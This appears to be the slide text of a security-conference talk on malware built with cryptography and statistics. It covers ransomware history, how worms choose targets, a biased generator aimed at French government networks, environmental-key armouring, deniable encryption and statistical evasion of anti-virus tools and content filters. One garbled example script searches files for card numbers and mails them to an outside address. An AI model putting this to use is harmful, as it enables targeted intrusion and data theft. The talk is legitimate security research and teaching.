**Malicious cryptography... reloaded**
and also malicious statistics

Éric Filiol  
ESAT  
efiliol(at)wanadoo.fr  
eric.filiol(at)esat.terre.defense.gouv.fr

Frédéric Raynal  
Sogeti-Cap Gemini – MISC magazine  
fred(at)security-labs.org  
frederic.raynal(at)sogeti.com

---

**Roadmap**

1. **The challenge**
   - Short intro to cryptovirology
   - Ransomware in real life: the buzz?
   - Improved use of cryptography for malware design

2. Victim targeting using random generators

3. Auto-protection using deniable encryption

4. Invisibility using statistical simulability

---

**Storybook (translated from Chinese ;-)**

Once upon a time...

We want to build a worm which:

- targets precisely who we want
- is distributed enough to survive
- is impossible to analyze
- keeps under the radar during spreading and data extrusion

using cryptography and statistics applied to a real world scenario...
Before the cryptovirus

Before the origin
- A virus writer tries to put stealth, robustness, replication strategies, and optionally a payload in its creation
- When an analyst gets hold of a virus, he learns how the virus works, what it does...
- The virus writer and the analyst share the same view of the virus: a Turing machine (state-transition table and a starting state)

Cryptovirus: a definition

Break that symmetric view!!!
- If the ciphering is known, the deciphering routine can be guessed
- If the key is present in the virus, the virus is fully known

⇒ Use asymmetric cryptography

A cryptovirus is a virus embedding and using a public-key

Racket using a virus (basic model)

Give me your money
- The writer of a virus creates a RSA key
  - The public key appears in the body of the virus
  - The private key is kept by the author
- The virus spreads, and the payload uses the public key
  - e.g. it ciphers the data of the targets with the public key
- The author asks for a ransom before sending the private key

Not such a perfect trick
- Anonymity: how to get the money without being caught?
- Re-usability: what if the victim publishes the private key?
- The victim does not want the extortioner to decrypt for him
Racket using a virus (basic model)

**Give me your money**
- The writer of a virus creates a RSA key
  - The public key appears in the body of the virus
  - The private key is kept by the author
- The virus spreads, and the payload uses the public key
  - e.g. it ciphers the data of the targets with the public key
- The author asks for a ransom before sending the private key

**Not such a perfect trick**
- Anonymity: how to get the money without being caught?
- Re-usability: what if the victim publishes the private key?
  - The victim does not want the extortioner to decrypt for him

Racket using a virus ... again (hybrid model)

**Give me more money**
- The writer of a virus creates a RSA key
  - The public key is put in the body of the virus
  - The private key is kept by the author
- The virus spreads
  - The payload creates a secret key
  - The secret key is used to cipher data on the disk
  - The secret key is ciphered with the public key
- The author asks for a ransom before deciphering himself the secret key

Roadmap

1. The challenge
   - Short intro to cryptovirology
   - Ransomware in real life: the buzz?
   - Improved use of cryptography for malware design
2. Victim targeting using random generators
3. Auto-protection using deniable encryption
4. Invisibility using statistical simulability

First attempts: Krotten & Filecoder [Ransomwares]

**Trojan.Win32.Krotten**
- Change security rules, user rights, starting page of IE and the way Explorer works
- Set LegalNoticeCaption registry key to display a message at start-up

**Trojan.Win32.Filecoder**
- Infect documents and executables (no way to recover these)
- Encryption: 5000 first bytes are XORed with bytes between 6666 and 10000
  - In version a, size of files to encrypt is checked against 5000
    - Smaller files will be encoded with a random key (and thus lost forever)
  - Fixed in later versions
The challenge
Victim targeting using random generators
Auto-protection using deniable encryption
Invisibility using statistical simulability

Short intro to cryptovirology
Ransomware in real life : the buzz?
Improved use of cryptography for malware design

Improvemets : Dirt & GPCode

Trojan-Spy.win32.Dirt.211
- No a real ransomware, just a MS Word document with a macro
- Propagation vector for GPCode in early 2005
- Launch a given file

Trojan.Win32.Gpcode
- Versions a, b and e: polynomial key changed each round on one byte (!)
  - new_key = (key * scale mod 255) + base
- Version ac: 1st use of asymmetric encryption
  - RSA with a 56 bits key (!!!)
  - And since 56 bits is too easy, modulus are in the binary (!!!)
- Later versions: RSA keys up to 660 bits, or RC4 to replace RSA

A new threat?

Targeted attacks
- No more worms spreading around Internet
- No more virus saturating our local networks
  ⇒ Where are they gone?
    - Not that we miss them but at least, we could spot them
- A new trend: targeted attacks
  - Is it really new or are we paying more attention?
  - Are our sensors around the Internet suited to detect them?

Uber-Malware

Using cryptography to design

- Targeting: improve your aim with random generators
  - Aim mainly at the target
- Auto-protection: protected code and ambiguous payload with good cryptography
  - Never confess, hide real intentions
- Non detection: become invisible with statistical simulability
  - Don’t be spotted, look nice

Roadmap

1. The challenge
   - Short intro to cryptovirology
   - Ransomware in real life: the buzz?
   - Improved use of cryptography for malware design

2. Victim targeting using random generators

3. Auto-protection using deniable encryption

4. Invisibility using statistical simulability

Malicious Cryptography
Roadmap

1. The challenge
2. Victim targeting using random generators
   - The past: Code Red, Slammer and Blaster
   - What are random generators?
   - Engineering the random generator
   - Probabilistic propagation
3. Auto-protection using deniable encryption
4. Invisibility using statistical simulability

Propagation

Propagation in ÜBER-malware
- Goal: target exactly what the designer wants
- Mean: a biased random generator

Code Red, Act 1

Code Red v1 [CRv1]
- Each worm has 100 threads:
  - 1 "worm thread"
  - 99 spreading threads
- Target selection: random number
  - But the random generator initialized with a static seed
  - All instances of the worm target the same random sequence of IPs
  - Always the same targets, missing much of the Internet
The challenge
Victim targeting using random generators
Auto-protection using deniable encryption
Invisibility using statistical simulability

The past: Code Red, Slammer and Blaster

What are random generators?
Engineering the random generator
Probabilistic propagation

The challenge
Victim targeting using random generators
Auto-protection using deniable encryption
Invisibility using statistical simulability

The past: Code Red, Slammer and Blaster

What are random generators?
Engineering the random generator
Probabilistic propagation

Code Red, Act 2

Code Red v2 [CRv2]
• Random generator has been fixed: a random seed is used
  ⇒ Propagation according to an exponential law:
  \[ a = \frac{e^{k(t-T)}}{1 + e^{k(t-T)}} \]
• Much more efficient than CodeRedv1 even though:
  - Does not differentiate private and public IPs
  - No target IP reachability test
  - Ignores the version of the web server
  ⇒ No need to be clever to be really efficient

Code Red, Act II

Code Red II [CR II]
• 600 spreading threads if a Chinese Windows, 300 otherwise
• Gets the local IP address, used as base for spreading
• Generates a random mask of 0, 1 or 2 bytes
• Applies the mask to generate the next target
  FFFFFFF FFFFFF00 FFFFFF00 FFFFFF00 FFFF0000 FFFF0000
• Probability of 1/8 to have a fully new address
• Probability of 1/2 to stay in the same /8 network
• Probability of 3/8 to stay in the same /16 network
• Note: same local address, loopback and multicast are discarded
  ⇒ A bit of cleverness to be even more efficient

Sapphire/Slammer [Slammer]

A broken randomness
• Randomness: linear congruent...with a bad increment
  - Sapphire: \( x' = (x + 214013 - 2531012) \mod 2^{22} \)
  - Microsoft: \( x' = (x + 214013 + 2531011) \mod 2^{22} \)
• Increment is not properly cleaned up
  - ebx contains a pointer to SqlSort’s IAT
⇒ Biased randomness:
  - 25th and 26th bit of the target IP are always 0
  - 24th bit depends on IAT’s value
  - Due to the chosen value, the random sequence is much shorter than expected
⇒ Again, many IPs can not be reached by the worm

Blaster

Defining targets
• Let an IP address be written \( b_0.b_1.b_2.b_3 \)
• With a probability of 0.6, it targets a fully new address \( b'_0,b'_1,b'_2,0/24 \)
• With a probability of 0.4, it targets \( b_0,b_1,b'_2,0/24 \)
  - \( b'_2 \) is \( b_2 - 20 \) if \( b_2 > 20 \), otherwise
• From the base address, it spreads sequentially to 20 hosts
⇒ Good strategy for spreading and survivability
The challenge
Victim targeting using random generators
Auto-protection using deniable encryption
Invisibility using statistical simulability

The past: Code Red, Slammer and Blaster
What are random generators?
Engineering the random generator
Probabilistic propagation

Lessons learned
- There is no need to be clever to infect the whole Internet quickly
  - See the fully random IP generator used by Code Red v2
- You can be more efficient with a better propagation algorithm:
  - Code Red II tried to select nearby IPs
  - Blaster spreads both on the local network and the Internet
- The Santy web worm searched targets through Google
- These hardcoded "mistakes" limit the scope of the infection
  - Slammer did not reach some networks just because it could not
Next: how to select a target using a broken PRNG

Roadmap

1. The challenge
2. Victim targeting using random generators
   - The past: Code Red, Slammer and Blaster
   - What are random generators?
   - Engineering the random generator
   - Probabilistic propagation
3. Auto-protection using deniable encryption
4. Invisibility using statistical simulability

Pseudo Random Number Generation (PRNG)

Required properties
- Uniformity: for each bit, the values 0 and 1 have the same probability of 0.5
  - Good statistical randomness
  - Appropriate to generate a single random number
- Independence: no matter how many bits have already been generated, it is impossible to guess the next bit by looking at the previous ones
  - Difficult to build
  - Ex.: 010101010101010101010
  - Good statistical randomness (0.5) but there is bias...
⇒ Challenge: build cryptographic randomness from good randomness
1. The challenge
2. Victim targeting using random generators
   - The past: Code Red, Slammer and Blaster
   - What are random generators?
   - Engineering the random generator
   - Probabilistic propagation
3. Auto-protection using deniable encryption
4. Invisibility using statistical simulability

The goal

Open question
- Is it possible to build a specific random generator to reach a given target with a given probability?
- Focus on some targets but not exclusively (for survivability)
- Example: targeting all the French ministries at once...

Proposed solution
A two steps process:
- Engineering: during the design of the worm, create a random generator that will focus on the targets
- Propagation: precise weapon based on probability convergence

Remove all unneeded addresses
- RFC1918 / Internal network: 10.0.0.0/8, 172.16.0.0/16, 192.168.0.0/16
- Autoconf: 169.254.0.0/16
- Loopback: 127.0.0.0/8
- Multicast: 224.0.0.0-239.255.255.255
- Unallocated: see http://www.iana.org/assignments/ipv4-address-space
  ⇒ See RFC 3330 for a complete list
Victim targeting using random generators
Auto-protection using deniable encryption
Invisibility using statistical simulability

The past: Code Red, Slammer and Blaster

What are random generators?
Engineering the random generator
Probabilistic propagation

Targets acquisition
- Examine how domain names are constructed in France
  - interieur.gouv.fr: Homeland Security
  - defense.gouv.fr: Department of Defense
  - minefe.gouv.fr: Department of Economy
  - diplomatie.gouv.fr: Foreign Affairs
  - chikungunya.gouv.fr: about a disease in a French region
- Find them all:
  - With Google: site:*.gouv.fr
  - With netcraft:
- Do not forget the common prefixes: ftp, mail, dns, vpn,...

Big and small
  >> whois 145.242.6.153
  inetnum: 145.242.0.0 - 145.242.255.255
  netname: DGIdescr: Direction Generale de Impots
descr: Tax Department France
descr: Paris
- www.chikungunya.gouv.fr: 82.165.51.15
  >> whois 82.165.51.15
  inetnum: 82.165.48.0 - 82.165.63.255
  netname: SCHLUND-SHARED
descr: Schlund + Partner AG
country: DE
- Collateral damages: other sites on the same server/range

Normal distribution (a.k.a. Gaussian)

For each host:
- Resolve the address
- Get the network range

Building the discrete probability distribution function
- For each IP address, set probability to \( \frac{1}{2^\mu} \)
- For the selected IP ranges, increase their probability with a Normal distribution \( N(\mu, \sigma^2) \) where:
  - \( \mu \) is the mean \( \Rightarrow \) center of the infection
  - \( \sigma^2 \) is the variance \( \Rightarrow \) spreading, collateral damages
- Set some specific values to 0 if you do not want to harm them
  - e.g. rfc1918, multicast, ... and friends

Our constraints
- Avoid internal addresses: 10.0.0.0/8, 172.16.0.0/16, 192.168.0.0/16 and multicast ones
- More focus on tax department and chikungunya: 145.242.0.0 - 145.242.255.255, 82.165.48.0 - 82.165.63.255

Collateral damages: other sites on the same server / range
The challenge
Victim targeting using random generators
Auto-protection using deniable encryption
Invisibility using statistical simulability
The past: Code Red, Slammer and Blaster
What are random generators?
Engineering the random generator
Probabilistic propagation

Engineering: calibrate the weapon

Building biased randomness from a uniform distribution
- Take a uniform random generator
- Generate \( y = \text{random}() \)
- Consider \( y \) being a probability, look for \( x \) so that \( f^{-1}(y) = x \)
  - \( f \) is known: it is our distribution
  - \( f^{-1} \) is known: cumulative probabilities

Simple example

<table>
<thead>
<tr>
<th>( x )</th>
<th>( p_x )</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0.25</td>
</tr>
<tr>
<td>1</td>
<td>0.6</td>
</tr>
<tr>
<td>2</td>
<td>0.1</td>
</tr>
<tr>
<td>3</td>
<td>0.05</td>
</tr>
</tbody>
</table>

- If \( y = p_x = 0.88 \), then \( x = 2 \) since \( y \in [p_0 + p_1; p_0 + p_1 + p_2] \)
- If \( y = p_x = 0.07 \), then \( x = 0 \) since \( y \in [0, p_0] \)

\[ \Rightarrow \text{Iterating again and again will generate a random variable following the given distribution :D} \]

Roadmap

1. The challenge
2. Victim targeting using random generators
   - The past: Code Red, Slammer and Blaster
   - What are random generators?
   - Engineering the random generator
   - Probabilistic propagation
3. Auto-protection using deniable encryption
4. Invisibility using statistical simulability

Normal distribution (a.k.a. Gaussian)

Normal distribution

-1 to +1
Area = 0.5826

Propagating with a calibrated weapon

Probabilistic propagation
- All worms carry the same newly engineered generator
- All worms spread independently / no synchronisation nor communication between them
- All worms propagate using the generator \( \Rightarrow \) they will converge towards the expected distribution
- Probabilistic convergence is not exact but really close to the theory
The challenge
Victim targeting using random generators
Auto-protection using deniable encryption
Invisibility using statistical simulability

The past: Code Red, Slammer and Blaster

What are random generators?
Engineering the random generator
Probabilistic propagation

Propagation with a calibrated weapon

255 points

500 points

1000 points

5000 points

10000 points
Propagation with a calibrated weapon

25000 points

Roadmap

1. The challenge
2. Victim targeting using random generators
3. Auto-protection using deniable encryption
   - Armoured Bradley
   - Surgical Bradley
   - Deniable encryption
   - Deniable Bradley
4. Invisibility using statistical simulability

Conclusion

Having a good weapon with a biased random generator

- Build the expected distribution
  - Done only once
  - Embedded in the malware
- When the worm wants to spread:
  - Get a uniform random value
  - Get its inverse according to the distribution
- Building strategies:
  - Consider an IPv4 address as a 32 bit integer ⇒ need to build a BIG distribution
  - Progress byte after byte in the address ⇒ can also spread on IPv6
- Same method can be used to target internal networks

Protection

Protection in über-malware

- Goal: ensure that no analyst is able to learn our real objectives
- Means:
  - Armoured code with environmental keys
  - Multiple decryptions with deniable encryption
Roadmap

1. The challenge
2. Victim targeting using random generators
3. Auto-protection using deniable encryption
   - Armoured Bradley
   - Surgical Bradley
   - Deniable encryption
   - Deniable Bradley
4. Invisibility using statistical simulability

Environmental keys (Riordan, Schneier – 1998)

Key exposure
- A mobile agent evolving in a hostile environment can not embed keys: if captured, key recovery is immediate, and so is its analysis

Building environmental keys
Let $n$ be an integer corresponding to an environmental observation, $H$ a hash function, $m$ the hash of the observation $n$ (activation value) and $k$ a key:
- if $H(n) == m$ then let $k = n$ (key transits in clear text)
- if $H(H(n)) == m$ then let $k = H(n)$: security of $k$ equals security of $H$ (replay possible)
- ...

Architecture
- Deciphering function $D$: gather the information to build the key and decipher the corresponding code
- Encrypted code $EVP_1^*$ (key $k_1$): contains all anti-virus mechanisms
- Encrypted code $EVP_2$ (key $k_2$): infection and polymorphism/metamorphism mechanisms
- Encrypted code $EVP_3$ (key $k_3$): one or several payloads

$EVP = \text{Environmental Viral Payload}$
Managing the information

Where to get environmental key?

- From time
- From the hash value of a given web page
- From the hash of the RR in a DNS answer
- From some particular content of a file on the targets
- From the hash of some information contained in a mail
- From the weather temperature or stock value
- From a combination of several inputs...

Back to Bradley and environmental keys

Key management

Let \( n \) be several environmental information, \( \pi \) an information under the control of the virus writer, \( m \) the activation value, \( \oplus \) bitwise exclusive or

\[
D \text{ deciphers } EVP_1 : VP_1 = D_{k_1}(EVP_1), \text{ runs}
\]

it, and computes the nested key

\[
k_2 = H(c_1 \oplus k_1), \text{ where } c_1 \text{ the 512 last bits of the clear text code } VP_1
\]

where \( EVP_1 \) is the 512 first bits of the encrypted code.

If \( H(H(n \oplus \pi) \oplus e_1) = m (e_1 \text{ the 512 first bits of the encrypted code } EVP_1), \) then

\[
k_1 = H(n \oplus \pi), \text{ otherwise } D \text{ disinfects the system from the whole viral code.}
\]
Back to Bradley and environmental keys

Key management
- \( D \) deciphers \( EVP_3 : VP_3 = D_{k_3}(EVP_3) \) and runs it

Bradley’s replication

Strategy: change everything
- During decryption, Bradley updates a new \( n' \) according to its new targets, then computes a new \( k'_1 = H(n' \oplus \pi) \), erase \( \pi \) from its memory

Strategy: change everything
- Metamorphism is performed on \( D \), but also on the \( VP_i \), giving respectively \( D' \) and \( VP'_i \)
Bradley’s replication

Strategy: change everything

- $k'_3 = H(c'_3 \oplus k'_2)$ is computed, and $VP_2$ is encrypted

Roadmap

1. The challenge
2. Victim targeting using random generators
3. Auto-protection using deniable encryption
   - Armoured Bradley
   - Surgical Bradley
   - Deniable encryption
   - Deniable Bradley
4. Invisibility using statistical simulability

Environmental keys + polymorphism = surgical strikes

Now, assume the environmental key depends on the target:

⇒ No possibility for an analyst to identify who is the target
⇒ Attacker gets a good control on the spreading of the malware:
   - Target is a person: email address, his public key (gpg, ssh, ssl... after all, public keys are designed to identify person ;)
   - Target is a “group”: find an information specific to this group, e.g. domain name for a company, domain name extension for a country
The challenge
Victim targeting using random generators
Auto-protection using deniable encryption
Invisibility using statistical simulability

Armoured Bradley
Surgical Bradley
Deniable encryption
Deniable Bradley

Comments about Bradley . . .

Property
The analysis of a code protected by the environmental key generation protocol defined previously is a problem which has exponential complexity.

But what if . . .

- Bradley is caught
- And the analyst is very lucky?
  ⇒ The analyst knows the real objective! :( 

What if . . .

Jack Bauer is captured with his laptop
- A terrorist is asking for the key to decipher Jack’s hard drive

Roadmap

1. The challenge
2. Victim targeting using random generators
3. Auto-protection using deniable encryption
   - Armoured Bradley
   - Surgical Bradley
   - Deniable encryption
   - Deniable Bradley
4. Invisibility using statistical simulability

What if . . .

Jack Bauer is captured with his laptop
- A terrorist is asking for the key to decipher Jack’s hard drive
- Jack refuses (he is a real hero)
What if . . .

Jack Bauer is captured with his laptop
- A terrorist is asking for the key to decipher Jack’s hard drive
- Jack refuses (he is a real hero)
- Jack is tortured until he gives the keys to his data
- Jack has given the key:
  - CTU is lost!
  - L.A. is lost!!!
  - The world is lost!!!
- Unless . . .

What if . . .

Jack Bauer is captured with his laptop
- A terrorist is asking for the key to decipher Jack’s hard drive
- Jack refuses (he is a real hero)
- Jack is tortured until he gives the keys to his data
- Jack has given the key:
  - CTU is lost!
  - L.A. is lost!!!
  - The world is lost!!!
- Unless . . .
  - Unless again . . . (just for the suspense)
What if . . .

Jack Bauer is captured with his laptop
- A terrorist is asking for the key to decipher Jack’s hard drive
- Jack refuses (he is a real hero)
- Jack is tortured until he gives the keys to his data
- Jack has given the key:
  - CTU is lost!
  - L.A. is lost!!
  - The world is lost!!!
- Unless . . .
- Unless again . . . (just for the suspense)
- Jack used deniable encryption :-D

What is deniable encryption

Definition
Deniable encryption allows an encrypted message to be decrypted to different realistic plain texts.

Property
One-time pad is the only known cryptographic technique that enables a cipher text to result in two distinct, but predictable plain texts depending on the key used to decrypt.

Truecrypt and others
- Uses a weaker deniable encryption
- Based on the similarity between encrypted and random data
- Both are merged, no way to distinguish

Roadmap

1. The challenge
2. Victim targeting using random generators
3. Auto-protection using deniable encryption
   - Armoured Bradley
   - Surgical Bradley
   - Deniable encryption
   - Deniable Bradley
4. Invisibility using statistical simulability

Building deniable code

Algorithm
- Given plain texts $p_1$ and $p_2$
  - if $\text{len}(p_1) \neq \text{len}(p_2)$, use padding
  - Generate a random key $k_1$
  - Compute cipher text $c = p_1 + k_1$
  - Compute $k_2 = c + p_2$

\[
\begin{align*}
  k_2 &= c + p_2 \\
  k_2 + p_2 &= c + p_2 + p_2 \\
  k_2 + p_2 &= c \\
  k_2 + p_2 &= p_1 + k_1
\end{align*}
\]
deny.pl

```python
def deny(s1, s2):
    # Check lengths
    if len(s1) != len(s2):
        return None

    # Compute k1 and the cipher text
    k1 = "
    cipher = "
    for i in range(len(s1)):
        c = chr(random.randrange(0, 255))
        k1 += c
        cipher += chr(ord(c) ^ ord(s1[i]))

    # Reverse k2 from the cipher text and s2
    k2 = "
    for i in range(len(s2)):
        k2 += chr(ord(cipher[i]) ^ ord(s2[i]))

    return k1, k2
```

A secret script

```python
#!/usr/bin/env python

secret = "DA1050SN"  # Example key

for f in 'find /tmp -type f';
    if egrep -ic 'visa|mastercard'
        f > /dev/null 2>&1;
        echo "found one in $f"
        cat $f|mail dr@kyx.net -s"easy money"
    fi
done
```

The truth is out there – Fox Mulder

```bash
>> hexdump -C k2.txt
00000000 4a 2b 77 6f 35 6d 1e 78 38 76 79 6d 6f 24 0e ...
00000010 4f 4d 51 67 07 3b 30 32 2a 74 21 57 27 25 79 ...
00000020 59 2d 3c 3c 7c 61 7b 6d 3f 62 22 6b 0e 49 03 45 ...
...>
```

A secret script : confess !

```python
def deny(s1, s2):
    # Check lengths
    if len(s1) != len(s2):
        return None

    # Compute k1 and the cipher text
    k1 = "
    cipher = "
    for i in range(len(s1)):
        c = chr(random.randrange(0, 255))
        k1 += c
        cipher += chr(ord(c) ^ ord(s1[i]))

    # Reverse k2 from the cipher text and s2
    k2 = "
    for i in range(len(s2)):
        k2 += chr(ord(cipher[i]) ^ ord(s2[i]))

    return k1, k2
```

A secret script : never confess ;-)
**Conclusion**

*NEVER confess*

- Use a good protection
  - Armoured code with environmental keys
- And if it is not strong enough
  - Confuse the analyst with deniable encryption

**Roadmap**

1. **The challenge**
2. **Victim targeting using random generators**
3. **Auto-protection using deniable encryption**
4. **Invisibility using statistical simulability**
   - Inside statistics
   - Statistical simulability
   - Applications

**Invisibility in über-malware**

- Goal: stay hidden
  - when propagating
  - when importing/exporting data
- Means: statistical simulatability
Poll-Howto

When to use a poll?
- When one wants to know the answer to a question but one cannot ask everybody
  ⇒ Sampling is needed

What is sampling?
- Select some elements in a population
- Pray so that it represents the whole population
  ⇒ The way the sampling is made can influence the result of the poll
- We just obtained an estimation of the real answer

Poll for dummies, a.k.a. statistical tests

What is a statistical test?
- Consider a sample of a whole population
- Estimate the value of a parameter
- Generalize this estimation to the whole population
  ⇒ Usually used to take a decision, to evaluate an hypothesis

What is a statistical test? (math version)
A statistical test tends to accept or reject an hypothesis claiming that a variable $\theta$ belongs to a set of values $\Theta$.
Most of the time, it is the opposition between 2 hypothesis $H_0$ and $H_1$:

$H_0 : \theta \in \Theta_0$ versus $H_1 : \theta \in \Theta_1$

⇒ Difficulty is to guess the probability distribution of $\theta$ for both hypothesis $H_0$ and $H_1$

Errors

<table>
<thead>
<tr>
<th>Decision</th>
<th>$H_0$ true</th>
<th>$H_1$ true</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accept $H_0$</td>
<td>$1 - \alpha$</td>
<td>$\beta$</td>
</tr>
<tr>
<td>Reject $H_0$</td>
<td>$\alpha$</td>
<td>$1 - \beta$</td>
</tr>
</tbody>
</table>

Anti-virus
- $H_0$ : a file is not infected
- $\alpha$ : the AV detects a file as being infected while it is not
  ⇒ Ex. : in March 2006, McAfee considered Excel to be infected with W95/CTX
- $\beta$ : an infected file is not detected by the AV
Roadmap

1. The challenge
2. Victim targeting using random generators
3. Auto-protection using deniable encryption
4. Invisibility using statistical simulability

Inside statistics
- Statistical simulability
- Applications

Hypothesis testing

Hypothesis testing - Howto

The problem
Given an hypothesis test and the answer I want, can I build the proper sample, according to the error rate, giving me this answer?

The (correct) problem
Given an hypothesis test and the answer I want, can I build the proper population, according to the error rate, giving me this answer?
- A 3rd party (attacker) will try to influence the result of the test

Strong simulability

Definition
Given a property $P$ and a test $T$ checking whether $P$ is valid for a given population $P$. Strongly simulating $T$ is building or modifying $P$ so that $T$ always decides $P$ is valid regarding $P$, up to the type of error, but another test $T'$ decides the opposite.
In the same way, we strongly simulates $t$ tests $T_1$, $T_2$, ..., $T_t$ if their application leads to consider $P$ is valid considering $P$ whereas it is no more with $T_{t+1}$.

In summary
Someone knows a test enabling bias detection
Strong simulability: examples

What can it be used for?

- If tester and 3rd party do not know the test $T_{t+1}$:
  - Cryptanalysis: an algorithm is considered good as long as researchers do not provide $T_{t+1}$ breaking the encryption
- If tester does not know the test $T_{t+1}$, but 3rd party does:
  - Random generator: biased generator succeeding in the STS tests [EW03]
  - RSA keys: trapped generator allowing to retrieve the private key [RSAHP]

Strong to weak

But what if the 3rd party does have an additional test $T_{t+1}$...
⇒ Need of another simulability

Weak simulability

Definition

Given a property $P$ and a test $T$ checking whether $P$ is valid for a given population $P$.

$T$'s weak simulation is introducing into $P$ a new property $P'$, influencing $P$, in the way that $T$ always decides $P$ is valid, up to the type of error.

In summary

Goal is to introduce bias into the population so that the answer to the question always be driven by the 3rd party.

- 3rd party uses the same tests as the tester
- $P'$ allows usually to weaken $P$
- Mean: play with the sampling according to the error rates

Roadmap

1. The challenge
2. Victim targeting using random generators
3. Auto-protection using deniable encryption
4. Invisibility using statistical simulability
   - Inside statistics
   - Statistical simulability
   - Applications
Using simulability step by step

**Howto**
- Study the target system in order to obtain its statistical model
- Find a trap or modify the population in order to trick the target system

**Our goals**
- Silent worm: avoid being noticed while it spreads (network evasion)
- Invisible worm: avoid being spotted by an anti-virus (system evasion)
- [Im/Ex]porting data: avoid the detection of the information leak

Application: anti-virus bypass

**AV estimation**
- Reversing an anti-virus to understand all its detection schemes can be very long
- Estimating how it behaves can be much more simple...

**Statistical evasion**
- Consider a large set of infected and clean data
- Submit it to the AV
  ⇒ Get the probability estimation for each detection scheme (signatures, heuristics, spectral, …)
  - Huh ... we just analyzed an AV with no reverse at all :)"δµε"θ "δµε"θ
  - The AV is modeled thanks to an hypothesis test, we can now simulate it, and thus bypass it

Application: [Im/Ex]porting forbidden data

**Content filtering**
- In some places, encryption is forbidden
  - Encrypted attachments are systematically dropped and destroyed
  - Encrypted communication channels are detected and blocked
- What if a malware wants to [Im/Ex]port data
  - It wants to encrypt it
  - But it is forbidden...

**Analyzing the detection**
- Encryption is detected based on entropy and redundancy
- The filter computes both values based either on samples coming from the data flow or the whole file
- If the values are in a certain interval, the file is dropped
  ⇒ Let’s make it happy then...

\textsuperscript{a}It is much more complex but we keep it as a pedagogical example.
Application: [im/ex]porting forbidden data

Building data with the proper entropy

- Consider a target data $D$ with a target distribution and entropy
  - Ex.: a French document with the proper frequencies for the letters
- Encode the length $L$ ($L \geq 1000$) of the next bits
- Generate $L$ bits according to the expected distribution for $D$
- Add 64 bits of the encrypted and secret file
- And so on

⇒ Probability distribution and entropy converge towards expectations

Building über-malware

- Propagation made precise with a biased random generator
  - Easily adaptable to the WAN of a large company
- Code is impossible to analyze and deniable
  - Strong cryptography properly used ensures security even for the bad guys
- Detecting it just luck as it keeps under the radar
  - Hypothesis testing can be used in many places to check the operational efficiency of an action

⇒ A bit of malice and math are enough to achieve that...

Q & (hopefully) A

Greetings

Nico Fischy (for the reviews, comments and talks), our employers (to let our twisted brains work on such topic – and worst ones), mom and dad, and Sushi (my red fish).

Wake up your neighbors...

References I

- Strong Cryptography Armoured Computer Viruses Forbidding Code Analysis: the Bradley virus
  E. Filiol, Proceedings of the 14th EICAR Conference, 2005

- Analysis: "Code Red" Worm

- The spread of the Code-Red worm (CRv2)
  D. Moore –
  http://www.caida.org/analysis/security/code-red/coderedv2_analysis.xml

- Analysis: CodeRed II Worm

- Malicious Cryptography: Exposing Cryptoirology
  A. Young, M. Young, Wiley, 2004 ISBN 0764549758

- Des trappes dans les clefs
References II

1. **Comparative analysis of various ransomware virii**

2. **Simple backdoors for RSA key generation**
   C. Crépeau, A. Slakmon – Topics in Cryptology : The Cryptographers’ Track at the RSA Conference 2003

3. **The Spread of the Sapphire/Slammer Worm**

4. **Statistical model for viral undecidability**